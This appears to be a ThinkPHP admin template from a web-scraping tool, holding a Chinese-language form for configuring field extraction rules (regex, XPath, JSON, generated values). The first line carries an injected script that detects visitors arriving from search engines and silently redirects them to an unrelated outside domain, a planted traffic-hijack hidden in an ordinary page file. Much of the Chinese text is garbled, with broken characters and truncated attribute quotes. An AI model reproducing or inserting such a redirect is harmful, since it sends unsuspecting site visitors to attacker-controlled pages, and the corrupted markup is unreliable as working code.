d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\cpattern\field.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><form id="form_field" method="post" action="{:U('Cpattern/field')}">
002: <input type="hidden" name="objid" value="{$objid}" />
003:    <div class="form-group">
004:          <div class="input-group">
005:             <span class="input-group-addon" style="background:#f4f4f4;">字段名称</span>
006:          <input type="text" name="field[name]" class="form-control" />
007:             <div class="input-group-btn c-p-field-source" title="选择数据?>
008:                <select name="field[source]" class="form-control slt-field-source">
009:                <optgroup label="选择数据?>
010:                   <option value="">默认?/option>
011:                   <option value="source_url">起始?/option>
012:                </optgroup>
013:             </select>
014:          </div>
015:          </div>
016:    </div>
017:    <div class="form-group">
018:       <div class="input-group" style="margin-bottom:10px;">
019:          <span class="input-group-addon" style="background:#f4f4f4;">获取方式</span>
020:          <select name="field[module]" class="form-control">
021:             <option value="rule">{$Think.lang.field_module_rule}</option>
022:             <option value="auto">{$Think.lang.field_module_auto}</option>
023:             <option value="xpath">{$Think.lang.field_module_xpath}</option>
024:             <option value="json">{$Think.lang.field_module_json}</option>
025:             <optgroup label="数据生成">
026:                <option value="words">{$Think.lang.field_module_words}</option>
027:                <option value="num">{$Think.lang.field_module_num}</option>
028:                <option value="time">{$Think.lang.field_module_time}</option>
029:                <option value="list">{$Think.lang.field_module_list}</option>
030:             </optgroup>
031:             <optgroup label="字段">
032:                <option value="extract">字段提取内容</option>
033:                <option value="merge">{$Think.lang.field_module_merge}</option>
034:             </optgroup>
035:          </select>
036:       </div>
037:       <div id="c_p_field_module">
038:          <div class="c-p-field-module" module="rule">
039:             <div class="form-group">
040:                <label>规则</label>
041:                <div class="input-group">
042:                      <textarea name="field[rule]" class="form-control" rows="3" placeholder="{$Think.lang.tips_match}">{$field['rule']}</textarea>
043:                   <div class="input-group-addon iga-rt">
044:                      <a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" onclick="cpWildcard('[name=\'field[rule]\']')">{$Think.lang.sign_wildcard}</a>
045:                      <span title="{$Think.lang.tips_regular}">正则</span>
046:                         <a href="javascript:;" title="{$Think.lang.tips_sign_match}" class="blk" onclick="cpMatch('[name=\'field[rule]\']')">{:cp_sign('match')}</a>
047:                         <a href="javascript:;" title="{$Think.lang.tips_sign_group}" class="blk" onclick="cpMatch('[name=\'field[rule]\']',{group:1})">捕获?/a>
048:                   </div>
049:                   </div>
050:                </div>
051:             <div class="form-group">
052:                   <label>拼接成最终内?/label>
053:                <div class="input-group">
054:                      <textarea name="field[rule_merge]" class="form-control" rows="2" placeholder="默认拼接€有{:cp_sign('match')}标签,{$Think.lang.tips_matchn}">{$field['rule_merge']}</textarea>
055:                   <div class="input-group-addon iga-rt">
056:                         <a href="javascript:;" title="调用规则中的标签" onclick="cpMatchN('[name=\'field[rule]\']','[name=\'field[rule_merge]\']')">{:cp_sign('match','N')}</a>
057:                      </div>
058:                   </div>
059:                </div>
060:                <div class="checkbox"><label><input type="checkbox" name="field[rule_multi]" value="1" {$field[rule_multi]?'checked="checked"':''}"> 允许匹配多个元素</label></div>
061:                <div class="input-group" style="display:none;" id="c_p_field_rule_multi_str">
062:                <div class="input-group-addon">分隔字符?/div>
063:                 <input type="text" name="field[rule_multi_str]" class="form-control" placeholder="多个元素之间分隔?>
064:                </div>
065:          </div>
066:          <div class="c-p-field-module" module="auto" style="display:none;">
067:             <div class="form-group" style="text-align:center;">
068:                <p>自动提取页面中的内容?/p>
069:                 <label class="radio-inline">
070:                     <input type="radio" name="field[auto]" value="title">标题
071:                 </label>
072:                 <label class="radio-inline">
073:                     <input type="radio" name="field[auto]" value="content">正文
074:                 </label>
075:                 <label class="radio-inline">
076:                     <input type="radio" name="field[auto]" value="keywords">keywords
077:                 </label>
078:                 <label class="radio-inline">
079:                     <input type="radio" name="field[auto]" value="description">description
080:                 </label>
081:                 <label class="radio-inline">
082:                     <input type="radio" name="field[auto]" value="url">页面网址
083:                 </label>
084:             </div>
085:          </div>
086:          <div class="c-p-field-module" module="xpath" style="display:none;">
087:             <div class="form-group">
088:                <label>规则?/label>
089:                <textarea name="field[xpath]" class="form-control" rows="3">{$field['xpath']}</textarea>
090:             </div>
091:             <div class="form-group">
092:                <label>属€:</label>
093:                <select name="field[xpath_attr]" class="form-control">
094:                   <option value="">?/option>
095:                   <option value="innerHtml">innerHtml</option>
096:                   <option value="outerHtml">outerHtml</option>
097:                   <option value="text">text</option>
098:                   <option value="value">value</option>
099:                   <option value="id">id</option>
100:                   <option value="class">class</option>
101:                   <option value="name">name</option>
102:                   <option value="href">href</option>
103:                   <option value="src">src</option>
104:                   <option value="style">style</option>
105:                   <option value="width">width</option>
106:                   <option value="height">height</option>
107:                   <option value="alt">alt</option>
108:                   <option value="custom">自定?/option>
109:                </select>
110:             </div>
111:             <input type="text" class="form-control" name="field[xpath_attr_custom]" style="margin-top:10px;display:none;">
112:             <div class="checkbox"><label><input type="checkbox" name="field[xpath_multi]" value="1" {$field[xpath_multi]?'checked="checked"':''}> 允许匹配多个节点</label></div>
113:             <div class="input-group" style="display:none;" id="c_p_field_xpath_multi_str">
114:                <div class="input-group-addon">分隔字符?/div>
115:                 <input type="text" name="field[xpath_multi_str]" class="form-control" placeholder="多个节点之间分隔?>
116:                </div>
117:          </div>
118:          <div class="c-p-field-module" module="words" style="display:none;">
119:             <textarea name="field[words]" class="form-control" rows="3">{$field['words']}</textarea>
120:          </div>
121:          <div class="c-p-field-module" module="num" style="display:none;">
122:             <div class="input-group col-sm-8" style="margin:0 auto;">
123:                <div class="input-group-addon">范围</div>
124:                <input type="number" name="field[num_start]" class="form-control" value="{$field['num_start']?intval($field['num_start']):1}" />
125:                <div class="input-group-addon">?/div>
126:                <input type="number" name="field[num_end]" class="form-control" value="{$field['num_end']?intval($field['num_end']):100}" />
127:                </div>
128:          </div>
129:          <div class="c-p-field-module" module="time" style="display:none;">
130:             <div class="input-group" style="margin-bottom:7px;">
131:                <div class="input-group-addon">格式</div>
132:                <input type="text" name="field[time_format]" class="form-control" />
133:             </div>
134:             <p class="help-block" id="c_p_field_time_format_list">
135:                标签?a href="javascript:;">[年]</a> &nbsp; <a href="javascript:;">[月]</a> &nbsp; <a href="javascript:;">[日]</a> &nbsp;
136:                   <a href="javascript:;">[时]</a> &nbsp; <a href="javascript:;">[分]</a> &nbsp; <a href="javascript:;">[秒]</a>
137:             </p>
138:             <div class="input-group">  
139:                <div class="input-group-addon">范围随机</div>
140:                <input type="text" name="field[time_start]" class="form-control" placeholder="默认当前时间" />
141:                <div class="input-group-addon">?/div>
142:                <input type="text" name="field[time_end]" class="form-control" placeholder="默认当前时间" />
143:                   <div class="input-group-btn"><button type="button" class="btn btn-default" onclick="$(this).parent().siblings('input:text').val('');">清空</button></div>
144:                </div>
145:             <div class="checkbox"><label><input type="checkbox" name="field[time_stamp]" value="1" {$field['time_stamp']?'checked="checked"':''}> 转换成时间戳</label></div>
146:          </div>
147:          <div class="c-p-field-module" module="list" style="display:none;">
148:             <textarea name="field[list]" class="form-control" rows="3">{$field['list']}</textarea>
149:             <p class="help-block">€行一条数据,从列表中随机抽取</p>
150:          </div>
151:          <div class="c-p-field-module" module="merge" style="display:none;">
152:             <textarea name="field[merge]" class="form-control" rows="3">{$field['merge']}</textarea>
153:             <div id="c_p_field_merge_list" style="margin-top:5px;"></div>
154:          </div>
155:          <div class="c-p-field-module" module="json" style="display:none;">
156:             <div class="form-group">
157:                <label>提取规则</label>
158:                <input type="text" name="field[json]" class="form-control" />
159:                <p class="help-block">直接输入键名,子元素用:[a][b][c]或a.b.c,€配?</p>
160:             </div>
161:             <div class="form-group">
162:                <label>结果是数组则转换?/label>
163:                <select name="field[json_arr]" class="form-control">
164:                   <option value="implode">字符?/option>
165:                   <option value="jsonencode">json编码</option>
166:                   <option value="serialize">序列?/option>
167:                </select>
168:                <textarea name="field[json_arr_implode]" class="form-control" rows="1" placeholder="输入分隔? style="margin-top:5px;">{$field['json_arr_implode']}</textarea>
169:             </div>
170:          </div>
171:          <div class="c-p-field-module" module="extract" style="display:none;">
172:             <div class="form-group">
173:                <div class="input-group">
174:                   <div class="input-group-addon">选择字段</div>
175:                   <select name="field[extract]" class="form-control">
176:                      <option value="">请€择</option>
177:                   </select>
178:                </div>
179:             </div>
180:             <div class="form-group">
181:                <div class="input-group">
182:                   <div class="input-group-addon">提取内容</div>
183:                   <select name="field[extract_module]" class="form-control">
184:                      <option value="">请€择</option>
185:                      <option value="cover">第一张图?/option>
186:                      <option value="phone">电话</option>
187:                      <option value="email">邮箱</option>
188:                      <option value="rule">规则匹配</option>
189:                      <option value="xpath">xpath匹配</option>
190:                      <option value="json">json提取</option>
191:                   </select>
192:                </div>
193:             </div>
194:             <div class="c-p-field-extract-module" extract-module="rule" style="display:none;">
195:                <div class="input-group">
196:                      <textarea name="field[extract_rule]" class="form-control" rows="3" placeholder="{$Think.lang.tips_match_only}">{$field['extract_rule']}</textarea>
197:                   <div class="input-group-addon iga-rt">
198:                      <a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" onclick="cpWildcard('[name=\'field[extract_rule]\']')">{$Think.lang.sign_wildcard}</a>
199:                      <span title="{$Think.lang.tips_regular}">正则</span>
200:                         <a href="javascript:;" title="{$Think.lang.tips_sign_match_only}" class="blk" onclick="cpMatch('[name=\'field[extract_rule]\']',{only:1})">{:cp_sign('match')}</a>
201:                         <a href="javascript:;" title="{$Think.lang.tips_sign_group_only}" class="blk" onclick="cpMatch('[name=\'field[extract_rule]\']',{only:1,group:1})">捕获?/a>
202:                   </div>
203:                   </div>
204:                <p class="help-block"><b>{:cp_sign('match')}</b>标签可返回匹配的数据,否则返回完全匹配的数据</p>
205:             </div>
206:             <div class="c-p-field-extract-module" extract-module="xpath" style="display:none;">
207:                <textarea name="field[extract_xpath]" class="form-control" rows="2" placeholder="xpath规则">{$field['extract_xpath']}</textarea>
208:                <div class="input-group" style="margin-top:10px;">
209:                   <div class="input-group-addon">属€?/div>
210:                      <select name="field[extract_xpath_attr]" class="form-control">
211:                      <option value="">?/option>
212:                      <option value="innerHtml">innerHtml</option>
213:                      <option value="outerHtml">outerHtml</option>
214:                      <option value="text">text</option>
215:                      <option value="value">value</option>
216:                      <option value="id">id</option>
217:                      <option value="class">class</option>
218:                      <option value="name">name</option>
219:                      <option value="href">href</option>
220:                      <option value="src">src</option>
221:                      <option value="style">style</option>
222:                      <option value="width">width</option>
223:                      <option value="height">height</option>
224:                      <option value="alt">alt</option>
225:                      <option value="custom">自定?/option>
226:                   </select>
227:                   </div>
228:                <input type="text" class="form-control" name="field[extract_xpath_attr_custom]" placeholder="自定义属? style="margin-top:10px;display:none;">
229:             </div>
230:             <div class="c-p-field-extract-module" extract-module="json" style="display:none;">
231:                <div class="form-group">
232:                   <label>提取规则</label>
233:                   <input type="text" name="field[extract_json]" class="form-control" />
234:                   <p class="help-block">直接输入键名,子元素用:[a][b][c]或a.b.c,€配?</p>
235:                </div>
236:                <div class="form-group">
237:                   <label>结果是数组则转换?/label>
238:                   <select name="field[extract_json_arr]" class="form-control">
239:                      <option value="implode">字符?/option>
240:                      <option value="jsonencode">json编码</option>
241:                      <option value="serialize">序列?/option>
242:                   </select>
243:                   <textarea name="field[extract_json_arr_implode]" class="form-control" rows="1" placeholder="输入分隔? style="margin-top:5px;">{$field['extract_json_arr_implode']}</textarea>
244:                </div>
245:             </div>
246:          </div>
247:       </div>
248:    </div>
249:    <div class="form-group form-group-sm">
250:        <button type="submit" class="btn btn-primary btn-block">确定</button>
251:     </div>
252: </form>
253:
254: <script type="text/javascript">
255: <if condition="$field">
256: c_pattern.field_op('init',{field:{$field|json_encode}});
257: <else />
258: c_pattern.field_op('init');
259: </if>
260: </script>
261:
262: